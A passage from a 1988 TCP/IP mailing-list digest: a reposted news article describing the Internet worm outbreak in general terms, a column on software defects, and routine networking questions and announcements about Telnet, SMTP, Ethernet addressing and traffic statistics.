trapdoors in operating systems. Vendors would be asked to develop and field 
solutions, he said.

      "NIST would work on unclassified systems and the NCSC would work on 
secure military systems, he said. Information learned about viruses from 
classified systems might be made available to the public through the 
clearinghouse, Katzke said, although classified information would have to be 
removed first.

      "Although the virus that prompted these meetings did not try to destroy 
data, it made so many copies of itself that networks rapidly became clogged, 
greatly slowing down communications. Across the network, computer systems 
crashed as the virus continuously replicated itself.

      "During a Pentagon press conference on the virus outbreak, Raymond 
Colladay, director of the Defense Advanced Research Projects Agency (DARPA), 
said the virus hit 'several dozen' installations out of 300 on the agency's 
unclassified Arpanet network.

"Thousands Affected

      "The virus also was found in Milnet, which is the unclassified portion 
of the Defense Data Network. Estimates of how many computers on the network 
were struck varied from 6,000 to 250,000. The virus did not affect any 
classified systems, DOD officials said.

      "The virus hit DARPA computers in Arlington, Va., and the Lawrence 
Livermore Laboratories in California as well as many academic institutions, 
Colladay said. It also affected the Naval Ocean Systems Command in San Diego 
and the Naval Research Laboratory in Maryland, a Navy spokesman said.

      "Written in C and aimed at the UNIX operating system running on Digital 
Equipment Corp. VAX and Sun Microsystems Inc. computers, the virus was 
released Nov. 2 into Arpanet through a computer at the Massachusetts Institute 
of Technology in Cambridge, Mass.

      "The Virus apparently was intended to demonstrate the threat to 
networked systems. Published reports said the virus was developed and 
introduced by a postgraduate student at Cornell University who specializes in 
computer security. The FBI has interviewed the student.

      "Clifford Stoll, a computer security expert at Harvard University who 
helped identify and neutralize the virus, said the virus was about 40 
kilobytes long and took 'several weeks' to write. It replicated itself in 
three ways.

"Spreading the Virus

      "The first method exploited a little-known trapdoor in the Sendmail 
electronic-mail routine of Berkeley UNIX 4.3, Stoll said. The trapdoor was 
created by a programmer who wanted to remove some bugs, various reports said. 
However, the programmer forgot to remove the trapdoor in the final production 
version. In exploiting this routine, the virus tricked the Sendmail program 
into distributing numerous copies of the virus across the network.

      "Another method used by the virus was an assembly language program that 
found user names and then tried simple variations to crack poorly conceived 
passwords and break into more computers, Stoll said.

      "Yet another replication and transmission method used a widely known bug 
in the Arpanet Finger program, which lets users know the last time a distant 
user has signed onto a network. By sending a lengthy Finger signal, the virus 
gained access to the operating systems of Arpanet hosts.

      "The virus was revealed because its creator underestimated how fast the 
virus would attempt to copy itself. Computers quickly became clogged as the 
virus rapidly copied itself, although it succeeded only once in every 10 copy 
attempts.

      "Users across the country developed patches to block the virus' entrance 
as soon as copies were isolated and analyzed. Many users also used Arpanet to 
disseminate the countermeasures, although transmission was slowed by the 
numerous virus copies in the system.

      "DARPA officials 'knew precisely what the problem was,' Colladay said. 
'Therefore, we knew precisely what the fix was. As soon as we had put that fix 
in place, we could get back on,line.'

      "Colladay said DARPA will revise security policy on the network and will 
decide whether more security features should be added. The agency began a 
study of the virus threat two days after the virus was released, he said.

      "All observers said the Arpanet virus helped raise awareness of the 
general virus threat. Several experts said it would help promote computer 
security efforts. 'Anytime you have an event like this it heightens awareness 
and sensitivity,' Colladay said.

      "However, Katzke cautioned that viruses are less of a threat than are 
access abusers and poor management practices such as inadequate disaster 
protection or password control. Excellent technical anti-virus defenses are of 
no use if management does not maintain proper control of the system, he said.

      "Congress also is expected to respond to the virus outbreak. The 
Computer Virus Eradication Act of 1988, which lapsed when Congress recessed in 
October, will be reintroduced by Rep. Wally Herger (R-Calif.), according to 
Doug Griggs, who is on Herger's staff."


Whew!!! Now for the next one...


Page 85:

               "WHY SOFTWARE DEFECTS SO OFTEN GO UNDISCOVERED"
                        DP ISSUES by William E. Perry

      "Much has been written recently about defects in computer software. 
Defects are not new, but quantifying their frequency is new. We are beginning 
to see the magnitude of the problem.

      "Some researchers say we are making between 40 and 80 defects per 1,000 
lines of source code. A line of source code normally is defined as an 
executable line of code. A defect is a variation from specifications, no 
matter how insignificant.

      "Most defects are caught before the system goes into production. 
However, we are told that, on average, one to three defects per 1,000 lines of 
code get into production. The production defects can cause a minor 
inconvenience, such as misspelling an executive's name, or wreak havoc in an 
organization through the loss of large amounts of resources.

      "There are two kinds of defects: internal defects, which are those 
uncovered by the information systems group, and external defects, which are 
uncovered by end users.

      "The question that needs to be asked in your organization is, 'Who 
uncovers the defects?'

      "The answer may determine how credible your organization is in the eyes 
of your end users. The more defects uncovered by the information systems 
community, the greater the credibility of that information processing 
function.

"Discouraging Efforts

      "But information systems personnel may be discouraged from identifying 
defects, for several reasons:

      "- Finding a defect may mean more work for them, not only in correcting 
it but also in tracking, monitoring and retesting the corrections.

      "- Frequently, there is a finger-pointing to determine who is 
responsible for the defect. The game is to pin the blame on another person. An 
individual held responsible for a defect can lose professional credibility and 
be ridiculed by his colleagues.

      "- Finally, defects can result in schedule delays or budget overruns. It 
costs a lot of money to fix a defective product, and the time and effort 
required could delay the project.

      "Minor defects may be ignored, or defect analysis can me skipped, to 
meet schedule and budget limits.

      "There are also adverse consequences when defects are uncovered outside 
the information systems group.

      "First is the high cost of correction. Barry Boehm of TRW Inc. said the 
cost of correcting a defect in production can be as much as 100 times the cost 
of correcting it during development.

      "Also, the information systems group may lose credibility. The end users 
may look for alternative solutions, such as purchased software or 
end-user-developed applications.

      "Some fundamental truths have a bearing on who uncovers defects and the 
effect of those defects.

      "First, punishing those who detect defects in-house only tranfers the 
job to external users and customers. If it is made undesirable for the author 
to find defects in his own work, he won't look for them. People naturally 
avoid punishment.

"Hiding the Blame

      "When individuals are held to blame for defects, they tend to hide them. 
For example, when an independent test group is checking the work of a software 
author, and that test will pinpoint blame on the author, the author will do 
whatever can be done to get the system through the test so future blame will 
rest on the independent test rather than the author.

      "When individuals are encouraged to hide defects, the cause of those 
defects cannot be corrected and they will recur in future systems. This is the 
major consequence of blaming people, rather than processes, for defects.

      "The objective of the information systems organization should be to 
detect 100 of the application defects internally.

      "All defects must be considered. These include not only defects made 
because of MIS errors but also defects because of poor requirement 
identification and poor design concepts. Whenever the system fails to meet the 
true needs of the customer in a cost-effective manner, it should be considered 
a defect.

      "Information systems managers must uncover defects internally. This 
means not blaming one's employees for defects uncovered during development. In 
fact, it may be necessary to reward internally uncovered defects in order to 
reduce externally uncovered defects."

      William E. Perry is executive director, Quality Assurance Institute, 
Orlando, Fla.



      That's it! I hope at least some, if not all, of you found it of 
interest!

                                   ET B ME
                                     VIC
                                      !


------

-----------[000111][next][prev][last][first]----------------------------------------------------
Date:      Mon, 12 Dec 88 18:24:09 GMT
From:      henry@utzoo.uucp (Henry Spencer)
To:        comp.protocols.tcp-ip
Subject:   Re: tcp-ip documentation

In article <00032@meph.UUCP> billk@meph.UUCP (Bill Kasper) writes:
>THE comprehensive document set is called the Protocol Handbook.
>It is a three volume set that sells for $110.00 from the [NIC]...

An alternate source, for those interested in things like credit-card
purchases (which the NIC doesn't do, as I recall) is Computer Literacy
Bookshop, 520 Lawrence Expressway, Sunnyvale 94086, (408)730-9955.
That's where I got my copy.  Cost was similar although it may have
been slightly higher; I don't remember for sure.
-- 
SunOSish, adj:  requiring      |     Henry Spencer at U of Toronto Zoology
32-bit bug numbers.            | uunet!attcan!utzoo!henry henry@zoo.toronto.edu

-----------[000112][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 18:31:13 GMT
From:      braden@VENERA.ISI.EDU
To:        comp.protocols.tcp-ip
Subject:   Re:  statspy avail. for anonymous ftp anywhere?

Ed,

Statspy (a component of the NNStat statistics gathering package) was
developed at ISI under NSF sponsorship.  The current (old) release is
available on host venera.isi.edu with pathname pub/NNStat.tar.Z.
However, a new release (2.2) will be available very shortly.  If
you want to receive a notice, send a note to:

   bytecounters-request@venera.isi.edu 
 
and ask to be added to the bytecounters mailing list.

I note that you are from the Univ of Michigan.  There are already at least
two other groups there using statspy.  I suggest you start with Dave
Katz of the Merit NSFnet group.

Bob Braden

-----------[000113][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 18:31:56 GMT
From:      WIESEL@DKAUNI0P.BITNET ("Joachim Wiesel")
To:        comp.protocols.tcp-ip
Subject:   tn3270 on Sys V.3 ??

Does anyone know wether there is a version of
 TN3270 available for Unix System V.3 ( I am running ISC 386/ix ) ?

Any help welcome

Joachim Wiesel
-----------------------------------------------------------------------
Joachim Wiesel, Department of Photogrammetry and Remote Sensing (IPF)
Karlsruhe University,                      P.O.Box 6980, Englerstr. 7
D-7500 Karlsruhe, West-Germany,                Tel.: +49 721 608 2316
-----------------------------------------------------------------------

-----------[000114][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 22:47:18 GMT
From:      mitchell@COMMUNITY-CHEST.MITRE.ORG
To:        comp.protocols.tcp-ip
Subject:   Call for Papers


              ***** CALL FOR PAPERS AND PARTICIPATION *****
28th Annual Technical Symposium of the Washington, D.C. Chapter of the ACM
            INTERFACES:  Systems and People Working Together
             National Institute of Standards and Technology
                Gaithersburg, Maryland - August 24, 1989
     No computer is an island.  Increasingly, systems are being tied together
to improve their value to the organizations they serve.  This symposium will
explore the theoretical and practical issues in interfacing systems and in
enabling people to use them effectively.
     *** SOME TOPICS OF INTEREST FOR SUBMITTED PAPERS ***
                     * HUMAN FACTORS *
User interfaces              Meeting the needs of handicapped users
Conquering complexity        Designing systems for people
Intelligent assistants       The human dimension of information interchange
                   * SYSTEMS INTEGRATION *
Communications networks      Distributed databases
Data standardization         System fault tolerance
Communications standards (e.g. GOSIP)
                * STRATEGIC  SYSTEMS *
Decision support systems     Embedding expert systems in information systems
Strategic info systems       Computer Aided Logistics Support (CALS)
        * SYSTEM DEVELOPMENT AND OPERATION *
Quality control and testing  Designing a system of systems
System management            Conversion and implementation strategies
Software tools and CASE      Identifying requirements thru prototyping
     * ENABLING TECHNOLOGIES FOR APPLICATIONS PORTABILITY *
Ada                          Database management
Open software                Open protocol technology
Operating systems (e.g., POSIX)
==>  DON'T BE LIMITED BY OUR SUGGESTIONS - MAKE YOUR OWN!
     Both experienced and first-time authors are encouraged to present their
work.  Papers will be refereed.  A length of 10 to 20 double-spaced pages is
suggested.
     Those presenting a paper are entitled to register for the symposium at
the early advance registration rate.
     To propose special sessions or noncommercial demonstrations, please send
three copies of an extended abstract to the Program Chairman at the address
below.
     Note: A paper must include the name, mailing address, and telephone
number of each author or other presenter.  Authors of accepted papers must
transfer copyright to ACM for material published in the Proceedings (excepting
papers that cannot be copyrighted under Government regulations).
     The ACM policy on prior publication was revised in 1987.  A complete
statement of the policy appears in the November 1987 issue of Communications
of the ACM.  In part it states that "republication of a paper, possibly
revised, that has been disseminated via a proceedings or newsletter is
permitted if the editor of the journal to which it has been submitted judges
that there is significant additional benefit to be gained from republication."
                            *** SCHEDULE ***
March 2, 1989  Please send five copies of your paper to the Program Chairman:
     Dr. Milton S. Hess
     American Management Systems, Inc.
     1525 Wilson Boulevard
     Arlington, VA 22209
April 13, 1989  Acceptance notification
June 22, 1989  Final camera ready papers are due
August 24, 1989  Presentation at the symposium
     If you have any questions or suggestions, please contact:
     Symposium General Chairman: Charles E. Youman, The MITRE Corporation,
(703) 883-6349 (voice), (703) 883-6308 (FAX), or youman@mitre.org (internet).
     Program Chairman: Dr. Milton Hess, American Management Systems, Inc.,
(703) 841-5942 (voice) or (703) 841-7045 (FAX).
     NIST Liaison: Ms. Elizabeth Lennon, National Institute of Standards and
Technology (formerly the National Bureau of Standards), (301) 975-2832 (voice)
or (301) 948-1784 (FAX).

-----------[000115][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 22:54:24 GMT
From:      evan@RICE.EDU (Evan Wetstone)
To:        comp.protocols.tcp-ip
Subject:   Re: ToasterNet (was Re: Running out of Internet addresses?)

H. Craig McKee <mckee@mitre.arpa> writes:
>What was the rationale for 48-bit Ethernet addresses?  They are never
>used beyond the "Local" Area Network; duplicate addresses at different
>sites shouldn't matter.  Regards - Craig

But how can you then guarantee that duplicate addresses will not be at the
same site?  

Evan Wetstone
Rice University

-----------[000116][next][prev][last][first]----------------------------------------------------
Date:      13 Dec 88 02:25:02 GMT
From:      JLarson.pa@XEROX.COM
To:        comp.protocols.tcp-ip
Subject:   Mobile Toasters (was ToasterNet..)

Re: What was the rationale for 48-bit Ethernet addresses?  They are never
	used beyond the "Local" Area Network; 

Machines may move from one "Local" Area Network to another (and even
between non-local networks).  Unique 48-bit Ethernet addresses eliminates a
layer of a network administration that would be required otherwise.  

Also, unique host numbers are useful in large distributed systems  (for
generating unique identifiers).  It just happens to be a nice optimization
that a unique 48-bit XNS host number and a 48-bit Ethernet address are the
same.  

There is some danger though for a distributed system algorithm which
absolutely depend son a unique ID.  We have seen cases in the Xerox
Internet where 48-bit host numbers were not unique as intended.
(Apparently PROM burners can get stuck on the same number once in a while.)

John Larson
Xerox PARC

-----------[000117][next][prev][last][first]----------------------------------------------------
Date:      Tue, 13 Dec 88 9:50:07 EST
From:      Ed Walker <ewalker@LABS-N.BBN.COM>
To:        mitchell%community-chest.mitre.org@GATEWAY.MITRE.ORG
Cc:        TCP-IP@SRI-NIC.ARPA, TCP-IP-REQUEST@SRI-NIC.ARPA
Subject:   Re:  Call for Papers
Let's go for it!
Ed
-----------[000118][next][prev][last][first]----------------------------------------------------
Date:      13 Dec 88 05:24:54 GMT
From:      root@ETN-WLV.EATON.COM (System Root)
To:        comp.protocols.tcp-ip
Subject:   Re: implementation question


  From: "John G. Ata" <Ata@RADC-MULTICS.ARPA>
  Subject:  Re: implementation question

    From:  apple!bionet!lear at BLOOM-BEACON.MIT.EDU (Eliot Lear)
    Subject:  implementation question

    Given a permanent error condition and that you control SMTP server
    code, which do you believe to be the better action?

    [a] Immediately have a server respond with an error to the SMTP client
        leave the client to report the error.

    [b] Receive the message and report the error directly to the sender.

  I believe that [a] is the more efficient way to go.  This is because if
  a SMTP server KNOWS that it cannot deliver the message to the intended
  recipient, it is taking up network bandwidth needlessly by accepting the
  message.  It would seem that the proper thing to do is to reject the
  message at that point, so that the SMTP user can then return the mail
  item to sender.

John, Eliot, et al:

The correct answer is it depends.  There is a tacit assumption in the query
that the recipient exists or that the transmitting station is persistent in
attempting to deliver a message to a non-existent recipient.  In the latter
case, [b] is the correct answer as it will limit the impact on the network
with the response being sent to the "Re-sent from:", "Sender:", or "From:".

In the former case, either [a] or [b] can be the correct answer.  If the
problem is resource related, the answer is [a] if there is a reasonable
expectation that the user can or will free the necessary reources in a
reasonable period of time. (Unlike AFIS/IND ;-))  If the problem is a brain
damaged mailer, [b] is the correct answer--the neat trick is figuring out
whether or not you've seen the message several times before and that you've
seen the same errors that preclude successful delivery of the message.  The
Internet doesn't have an equivalent of an AUTODIN Switching Center which
you an ring up and request that the message be "scrubbed".

Merton

-----------[000119][next][prev][last][first]----------------------------------------------------
Date:      Tue, 13 Dec 88 14:02:33 EST
From:      Rudy.Nedved@RUDY.FAC.CS.CMU.EDU
To:        "Craig F. Everhart" <cfe+@andrew.CMU.EDU>
Cc:        tcp-ip@sri-nic.arpa
Subject:   Re: implementation question

The problem (that may not be applicable to this issue any more) occured about
5 to 8 years ago that if you generated an error message at the SMTP level to a
client about a piece of mail being incorrect in some sense (bad address,
ambiguous user name, space quota exceeded for mailbox, etc) then the client
because of poor mail delivery system in use would not generate a message back
to the user or worst yet would simply say the mail could not be delivered.

The classic case was when SMTP would generate a multiline error response to
a RCPT TO:<> command indicating the name was ambiguous and what is was
ambiguous with. Many systems just blew it off or did not understand it.

This may not be the case any more but it is something to worry about. When
users send mail from a technological old and somewhat busted system to one
that is on the cutting edge and they don't understand what happned...they
tend to blame the site that listens to them....like the site that has
the better mail software.

-Rudy


-----------[000120][next][prev][last][first]----------------------------------------------------
Date:      13 Dec 88 09:15:24 GMT
From:      murray@jumbo.dec.com (Hal Murray)
To:        comp.protocols.tcp-ip
Subject:   Re: ToasterNet (was Re: Running out of Internet addresses?)

The idea behind a globally unique 48 bit ID was to avoid the confusion
that results when somebody sets the switches wrong. The Altos on the early
3MB ethernet had switches/jumpers for the host number. Every now and then
somebody would move a machine from one building to another and plug it
in to a handy drop cable without checking in with the local host number
czar.

Now, suppose that host number is already assigned to another machine.
Suppose one of the overlaping machines is talking to a server. The ack
goes back, and both machines hear it. The wrong one doesn't know about the
socket, so it sends a reject to the server. The server closes the
connection. The next packet from the first machine to the server hits a
dead connection. Soon, the user gets a strange error message.

The Altos normally ran with the ethernet interface disabled. It was only
activated when you ran a program that used the ethernet, say to print
something or FTP a file. That meant that this sort of confusion was likely
to be very mysterious because the time when things actually acted up was
long after the "move" that caused it.

It makes more sense in the XNS protocols where the 48 bit ID is used
directly as the host number. That way you don't need a parameter file for
the ARP info. (They added 32 more bits for the network number.)

-----------[000121][next][prev][last][first]----------------------------------------------------
Date:      13 Dec 88 12:05:42 GMT
From:      srwmxpb@windy.dsir.govt.nz (Peter Burgess)
To:        comp.protocols.tcp-ip
Subject:   No PD TCP/IP for Sys V :-(

I am not sure that my responses to the request for a PD TCP/IP for System V are
really worth summarising.

Basically as far as I can tell, it just doesn't exist.  The genuine TCP/IP
applications are covered by an AT&T licence and although there are freely
available sources for the BSD version of TCP/IP itself, this would be quite
hard to adapt, or so I'm told.

I'm not saying that there definately isn't one.  It's just that I can't seem
to find it!

Peter Burgess
New Zealand Government Department of Scientific and Industrial Research.

-----------[000122][next][prev][last][first]----------------------------------------------------
Date:      13 Dec 88 14:50:07 GMT
From:      ewalker@LABS-N.BBN.COM (Ed Walker)
To:        comp.protocols.tcp-ip
Subject:   Re:  Call for Papers

Let's go for it!
Ed

-----------[000123][next][prev][last][first]----------------------------------------------------
Date:      13 Dec 88 15:29:51 GMT
From:      whwb@cgchb1.uucp (Hans W. Barz)
To:        comp.protocols.tcp-ip
Subject:   Backup over TCP/IP ?

We have a lot of SUN's running under control of users. These users are usually
not very happy doing the incremental backup daily. We are looking for a *secure*
product, which send the daily incremental backup to our central Vax-systems (VMS).
The remote Suns are connected via TCP/IP and Ethernet to our central facilities.
We know that this kind of backup is slow, but we restricts the volume to 100(?) MB
per system. If a system send more backup stuff, they have to run a new full backup.

The product should incorporate a transparent retrieval facility for the remote
system administrator.

I have also seen an advertisment for the Iverson Tape Manager; would that help ?

Hans Barz,  CIBA-GEIGY,  CH-4002 Basel,   R.1032.5.56
mail: whwb@cgch.uucp
phone: +41/61/6974520
fax: +41/61/6973288

-----------[000124][next][prev][last][first]----------------------------------------------------
Date:      13 Dec 88 16:48:34 GMT
From:      loganj@byuvax.bitnet
To:        comp.sys.mac,comp.protocols.appletalk,comp.protocols.tcp-ip
Subject:   NCSA/BYU Telnet update (version 2.2.2) available

The next version of NCSA/BYU Telnet with a primitive FTP client is
available.  This is version 2.2.2, and the following problems have
been fixed and features added:

1. KIP is now working properly, so it now works properly with
   Kenetics FastPath 4.0.
2. During file transfers, the transfer byte count is now reported.
3. A host doing a binary "GET" from the Macintosh no longer leaves
   the file open on the Mac after the transfer is complete.
4. A timing problem with the FTP client has been solved which
   causes the FTP client to work properly with more systems -
   in particular some VAX VMS systems.
5. A menu option has been added that allows the operator to disable
   the graphics "clear screen" function.  This is useful in some
   cases when you want the graphics to remain on the screen as when
   plotting overlays.

This new version is available by anonymous ftp from the "zaphod" system
at NCSA (ip number 128.174.20.50).  It's in a BinHex 4.0 file called
"BYU Telnet.Hqx" in a directory called "NCSA_Telnet/contributions".
For those who can not ftp the file, you can try contacting me at the
email address below and I might be able to send you the file directly.

Note:  NCSA is not responsible for maintenance of this version, so
please don't bother them with problem reports.

Regards,
Jim Logan
bitnet:    loganj@byuvax.bitnet
internet:  loganj@yvax.byu.edu

-----------[000125][next][prev][last][first]----------------------------------------------------
Date:      13 Dec 88 17:01:34 GMT
From:      sun.soe.clarkson.edu!bkc@tcgould.tn.cornell.edu  (Brad Clements)
To:        tcp-ip@sri-nic.arpa
Subject:   Why does WIN TCP on 3B2 run out of buffers?
Hi.

I have two AT & T 3B2/400 machines running SYSV 3.1 with Win TCP/IP 1.1.
One is connected directly on our campus ethernet system and works
fine.  The other is connected on an ethernet subnet that is connected
to the main system via a slip connection.

This slip-connected machine continually runs out of buffers for no
readily apparent reason.  A user, ftp'ing in or out of the machine
will cause the buffers to be lost, and a user telneting out of the
machine can also cause the buffers to be lost.

What happens is that all the buffers are in use, and 95% are allocated
to data. Yet a netstat -a shows nothing in the send or receive
queues.

I have to reboot the system to clear up the problem, shutting down
the network and restarting it does not fix the problem.

I suspect this is related to fragmentation. Does the WIN TCP 
correctly reassemble IP fragments? If not, does anyone have
any idea how I can get the sendiny host (on an ethernet line w/ 1506
mtu) to send smaller IP packets? The MTU of the slip line is 1006.


One half of the slip connection is a Microvax running Xinu BSD4.3-tahoe,
the other half is an IBM PC/XT running the KA9Q net package. This PC
is connected via thinwire to the afflicted 3B2.

any ideas would be appreciated.

Brad Clements
Clarkson University
-----------[000126][next][prev][last][first]----------------------------------------------------
Date:      13 Dec 88 18:01:46 GMT
From:      kaser@ee.rochester.edu
To:        comp.sys.mac,comp.unix.questions,comp.protocols.tcp-ip,comp.protocols.appletalk,comp.dcom.lans
Subject:   Telnet problem..


   We have finally got to the point on our ethernet and ApleTalk
networks to try and set up Telnet from our Mac's.  Our Kinetics
FastPath has its IP routing enabled and everything in that respect
is just fine.  We also transfered via FTP the new version of
Telnet (v2.2).  

  This is where the oddities start.  We modified our "config.tel"
to what we think it should be, but when Telnet 2.2 is fired up
it comes up with an error.  The error reads "Invalid key word in
config file".  After clicking the mouse button, a second message
appears which reads "Event queue full, probably none fatal".
Then its back to the original message for 10-20 times.  Then the
dialogue box  appears for "CONTINUE or QUIT".  Selecting continue
causes the original message to appear some more and then Telnet
starts to run without any errors.

  Also, we are interested in using dynamically assigned IP addresses.
For now, we are able to establish sessions by specifying an IP address
within the allowable range.

  Any pointers or help on either problem would be greatly appreciated.

  My "config.tel" follows.

==========================================================================

Why did the Lord give us so much  	 {)    kaser@ee.rochester.edu
quickness of movement unless it		//\\   {ames,cmcl2,columbia,cornell,
was to avoid responsibility with?      ///\\\  garp,harvard,ll-xn,rutgers}!
					 /\    rochester!ur-valhalla!kaser

==========================================================================

My "config.tel


# 
#  This file is free form
#  Separators are any char <33 and :;=
#
#  The form is keyword=value for each parameter.
#  The first set of parameters refer to the whole program's defaults.
#  These parameter values can be in any order.
#  Following this are the individual machine specs.
#  If the first machine is name "default", then it contains default
#  values for the rest of the machines.
#
hardware=AppleTalk		# Network connection type:
				#    values are: AppleTalk, Ether,
				#     Ether<n>, EtherSE, EtherSC
#zone="Zone"			# Which zone is the box in? (AT only)
ftp=yes				# do you want ftp enabled?
#domain="ncsa.uiuc.edu"		# default domain for name lookups
arptime=5			# arp timeout in seconds
				#    affects machines on your local network
#passfile="HD20:Telnet:ftppass"	# name of file to find FTP passwords in

#
#  Following are individual machine specifications
#  Gateways are used in order that they appear in the file
#  Nameservers rotate, #1, #2, #3, #1, #2 when a request fails
#
#  The machine named "default" contains the fields which are automatically
#  filled in for other hosts.  name=default machine should appear first.
#
name = default			# Session name, "default" is a reserved name
host=galaxy
hostip=128.151.160.40
gateway=1
nameserver=1
				#   Not a real machine, default parameters only
#host=sri-nic.arpa 		# Actual host name of machine, not session name
#hostip=10.0.0.51		# IP address of host, example is for SRI-NIC
#gateway=1			# This machine is a gateway for me
#nameserver=1			# This machine has a DOMAIN name server for me
scrollback=100			# number of lines of scrollback per session
erase=delete			# use delete code or backspace code for <- key?
				#   legal values are "delete" and "backspace"
vtwrap=yes			# should VT100 be in wrap mode or not?
nfcolor="{0,0,0}"		# normal, foreground (Mac II)
nbcolor="{65535,65535,65535}"	# normal, background (Mac II)
bfcolor="{0,0,0}"		# blink, foreground (Mac II)
bbcolor="{65535,65535,65535}"	# blink, background (Mac II)
#crmap=4.3BSDCRNUL		# map of the CR key for compatibility
#duplex=half			# modifier for non-echo mode, forces send
clearsave=yes			# save lines on clear screen yes/no
#  The following entries affect the tuning of TCP connections to this host.
#  They should be set by the network administrator who is familiar with
#    the requirements of your specific network.
contime=20			# timeout in seconds to try connection
retrans=30			# starting retransmit time out in ticks
				#   1/60ths of sec 
mtu=512				# maximum transmit unit in bytes
				#   AppleTalk MAX = 512
				#   outgoing packet size, ET MAX=1024
maxseg=512			# largest segment we can receive
				#   AppleTalk MAX = 512
				#   whatever the hardware can take, ET MAX=1536
rwin=512			#   TCP window size, MAX=4096
#
#  Below this line, most of the communication parameters are obtained
#   from the "default" host entry.
#  Machine names, IP addresses, and special communication parameters are
#   present when needed.  
#

#name=mynameserver ; hostip=127.0.0.2 ; nameserver=1 
#name=mygateway ; hostip=127.0.0.3 ; gateway=1

name=galaxy ; hostip=128.151.160.40

-----------[000127][next][prev][last][first]----------------------------------------------------
Date:      13 Dec 88 18:07:25 GMT
From:      tmt@xpiinc.UUCP (Thomas M. Talpey)
To:        comp.protocols.tcp-ip
Subject:   TCP implementations and FIN-WAIT-2

I have a question regarding others' approach to the following TCP
implementation problem. When a TCP closes its connection in the outgoing
direction and its FIN is acked, it enters state FIN-WAIT-2 and continues
to accept segments from the remote TCP. However, since it has indicated
FIN, it can send no more data, and since its FIN is acked, its retransmit
timer is not ticking, therefore it has no way to probe the connection
for liveness. In fact, if the remote TCP has crashed it seems quite likely
the connection will remain forever.

My question is, in the absence of keepalives how can the local TCP ensure
that it does eventually delete its tcb? Possibly it can set a timer (and
retrigger it on each receive), resetting the connection if it expires, but
this seems precarious. Or perhaps it can send redundant window updates and
expect a RST, but if the other end has gone away completely these will
always "succeed". I know 4.3 sets a reasonably large timer but I also wonder
if there is any widely accepted "standard practice" to cover this problem?

Tom Talpey
Xpi Inc, division of Visual Technology
tmt@xpiinc.uu.net

-----------[000128][next][prev][last][first]----------------------------------------------------
Date:      13 Dec 88 19:02:33 GMT
From:      Rudy.Nedved@RUDY.FAC.CS.CMU.EDU
To:        comp.protocols.tcp-ip
Subject:   Re: implementation question


The problem (that may not be applicable to this issue any more) occured about
5 to 8 years ago that if you generated an error message at the SMTP level to a
client about a piece of mail being incorrect in some sense (bad address,
ambiguous user name, space quota exceeded for mailbox, etc) then the client
because of poor mail delivery system in use would not generate a message back
to the user or worst yet would simply say the mail could not be delivered.

The classic case was when SMTP would generate a multiline error response to
a RCPT TO:<> command indicating the name was ambiguous and what is was
ambiguous with. Many systems just blew it off or did not understand it.

This may not be the case any more but it is something to worry about. When
users send mail from a technological old and somewhat busted system to one
that is on the cutting edge and they don't understand what happned...they
tend to blame the site that listens to them....like the site that has
the better mail software.

-Rudy

-----------[000129][next][prev][last][first]----------------------------------------------------
Date:      13 Dec 88 19:25:33 GMT
From:      w-colinp@microsoft.UUCP (Colin Plumb)
To:        comp.protocols.tcp-ip
Subject:   Re: ToasterNet (was Re: Running out of Internet addresses?)

In article <8812121420.AA27357@mitre.arpa> mckee@MITRE.ARPA (H. Craig McKee) writes:
>What was the rationale for 48-bit Ethernet addresses?  They are never
>used beyond the "Local" Area Network; duplicate addresses at different
>sites shouldn't matter.  Regards - Craig

So you could burn the address into ROM on the controller and never, ever,
have to worry about changing it to avoid collisions.  So every ethernet
card ever made could have a different address.

It's simpler than a dynamic addressing scheme, and less work than a
configurable one.  The only penalty is the address length.
-- 
	-Colin (uunet!microsof!w-colinp)

-----------[000130][next][prev][last][first]----------------------------------------------------
Date:      13 Dec 88 23:52:11 GMT
From:      joshua@athertn.Atherton.COM (Sleaze Hack)
To:        comp.protocols.tcp-ip
Subject:   Re:  Writing more than 2K to a TCP socket (summary)

Thanks to everyone who responded to my cry for help.  It seems that
SunOS 3.4 is the _SunOS from Hell_ and has many known TCP bugs.  

Several people suggested replacing the TCP code with the newer "Van
Jacobson" TCP code.  This in ucbarpa.berkeley.edu:pub/43net/tcp.tar.Z
(or something similar).  You can annonymously ftp it.

John A. Shriver (jas@proteon.com) pointed out that there was an
option to setsockopt which did exactly what I wanted, but was only
available in 4.3bsd.  With 4.2bsd I needed to patch the kernal which
adjusts the space globally.  The kernal variables are tcpsendspace and
tcprcvspace.

Josh
--------                Quote: "If you haven't ported your program, it's not
Addresses:                      a portable program.  No exceptions."  
joshua@atherton.com OR         
sun!athertn!joshua  OR                 
{backbone}!{decwrl!hpda}!athertn!joshua  work:(408)734-9822 home:(415)968-3718

-----------[000131][next][prev][last][first]----------------------------------------------------
Date:      14 Dec 88 01:32:35 GMT
From:      braden@VENERA.ISI.EDU
To:        comp.protocols.tcp-ip
Subject:   What is NNStat?

In a recent exchange on this list, I mentioned the NNStat package developed
at ISI. Several people subsequently asked the reasonable question: "What
is that?"  Here is a brief summary.

NNStat is a set of programs that comprise a facility for the distributed
collection of Internet traffic statistics. This facility is designed to
support the requirements of a network administrator for gathering
long-term usage statistics simultaneously at many network entry points.
Specifically, it was developed to allow NSFnet regional networks to monitor
their traffic; its development was sponsored by NSF.

The major components of NNStat are (1) a data acquisition program "statspy"
that promiscuously monitors an attached Ethernet to gather statistics,
and (2) a central program "collect" that periodically polls a set of statspy
instances and collects the data into files for later summarization.
The set of statistics that statspy gathers is flexible and can be changed
dynamically.  See my paper in SIGCOMM '88 for more details.

Statspy has been implemented for a Sun workstation, currently under 3.x
and shortly 4.0.  Merit is porting it to a PC/RT; I don't know whether
that version will be available.  Collect should run on any BSD Unix system.

Bob Braden

-----------[000132][next][prev][last][first]----------------------------------------------------
Date:      Wed, 14 Dec 88 10:18:00 PST
From:      Leo J McLaughlin <ljm%TWG.COM@VM.USC.EDU>
To:        Local BBoard - Postmaster <#TCP-IP@MVSA.USC.EDU>
Subject:   Internet packets over IPX specification



The Wollongong Group                                    L. J. McLaughlin III
                                                        December 1988


    A Standard for the Transmission of Internet packets over IPX networks


Status of this Memo

    This document specifies a standard method of encapsulating Internet
    packets such as Internet Protocol[1] (IP) datagrams on networks
    supporting the Internet Packet Exchange Protocol[2] (IPX). Distribution
    of this memo is unlimited.


Introduction

    The goal of this specification is to allow compatible and interoperable
    implementations for transmitting Internet packets over IPX networks.

